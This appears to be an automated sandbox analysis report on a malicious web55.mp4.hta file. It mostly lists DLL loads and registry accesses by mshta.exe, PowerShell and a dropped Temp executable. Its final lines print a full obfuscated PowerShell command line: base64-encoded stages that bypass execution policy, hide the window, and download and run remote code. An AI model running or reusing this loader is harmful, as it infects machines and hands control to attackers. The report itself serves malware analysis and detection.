Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: dwrite.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: msvcp140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: d3d9.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: d3d10warp.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\2AZA84BP4AM1TVWCT7DQB9ZWGJA.exe	Section loaded: windowscodecs.dll

Source: C:\Windows\SysWOW64\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{25336920-03F9-11CF-8FD0-00AA00686F13}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\mshta.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: web55.mp4.hta

Static file information: File size 1316307 > 1048576

Source:

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: FromBase64String($z));$byteSTriNG = $Enc.$CVuaLhN1RccnM3ERl0SadUDnZEo1bErVwcWOIMKX3lRIWGCiQGYHB5vyAHRyPaAUtYWpxCJxcEBSm0eyqdVCZt8p3as6IScdMHffaSTD7vBmakZa5f1y4TygvKpzCRdcgCv5icqS2x91xwwR8f0LerOe5uYPYg

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\mshta.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ep Unrestricted -w 1 sc $env:Temp\a.ps1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gS0ZiQygkS3lHWXJVVUQpew0KKCgkS3lHWXJVVUQgLXNwbGl0ICcoPzw9XEcuLiknfCV7JEVKdXAuU3ViU3RyaW5nKDMsMTAwKVskX119KSAgLWpvaW4gJycgLXJlcGxhY2UgIi4kIil9OyRFSnVwID0naWV4bXZ7dU4xaUtGZSJBT0V1Vnk1Im9ZezZQbFBhLzphYjRJWi5PYjJxLTdXO0NkSFxneFF3L016SkFqcnQzQDZCfUROJX5UblUofTBRc3NfaCVoSWZrKWM5WEw4NCNAUnlTKm9HcDY1MDk1ODM0NDEwOTM2NDMyNDA2MDk2OTU4Jw==')));cmd.exe /k start powershell -w 1 ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtZW5jIFV3QjBBR0VBY2dCMEFDMEFVQUJ5QUc4QVl3QmxBSE1BY3dBZ0FDSUFRd0E2QUZ3QVZ3QnBBRzRBWkFCdkFIY0Fjd0JjQUZNQWVRQnpBRmNBYndCM0FEWUFOQUJjQUZjQWFRQnVBR1FBYndCM0FITUFVQUJ2QUhjQVpRQnlBRk1BYUFCbEFHd0FiQUJjQUhZQU1RQXVBREFBWEFCd0FHOEFkd0JsQUhJQWN3Qm9BR1VBYkFCc0FDNEFaUUI0QUdVQUlnQWdBQzBBUVFCeUFHY0FkUUJ0QUdVQWJnQjBBRXdBYVFCekFIUUFJQUFpQUMwQWR3QWdBR2dBYVFCa0FHUUFaUUJ1QUNBQUxRQmxBSEFBSUFCaUFIa0FjQUJoQUhNQWN3QWdBQzBBYmdCdkFIQUFJQUF0QUVNQWJ3QnRBRzBBWVFCdUFHUUFJQUJnQUNJQWFRQmxBSGdBSUFBb0FDZ0FUZ0JsQUhjQUxRQlBBR0lBYWdCbEFHTUFkQUFnQUZNQWVRQnpBSFFBWlFCdEFDNEFUZ0JsQUhRQUxnQlhBR1VBWWdCREFHd0FhUUJsQUc0QWRBQXBBQzRBUkFCdkFIY0FiZ0JzQUc4QVlRQmtBRk1BZEFCeUFHa0FiZ0JuQUNnQUp3Qm9BSFFBZEFCd0FITUFPZ0F2QUM4QWR3QmxBR0lBTGdCckFHd0FhUUJ3QUdRQWVRQjNBRzhBZWdCcEFIa0FMZ0J6QUdnQWJ3QndBQzhBYXdCMUFHNEFiZ0JoQUhJQUxnQndBRzRBWndBbkFDa0FLUUJnQUNJQUlnQWdBQzBBVndCcEFHNEFaQUJ2QUhjQVV3QjBBSGtBYkFCbEFDQUFTQUJwQUdRQVpBQmxBRzRBOy4gJGVudjpUZW1wXGEucHMxOyBmdW5jdGlvbiBLeUdZclVVRCgpe2Z1bmN0aW9uIGV6cENNZGhHUSgkckhQZWIpe2lmKCEoVGVzdC1QYXRoIC1QYXRoICRUaEJFWHBpVk8pKXtjdXJsIChLRmJDICRySFBlYikgLW8gJFRoQkVYcGlWT319fUt5R1lyVVVEOw==')))
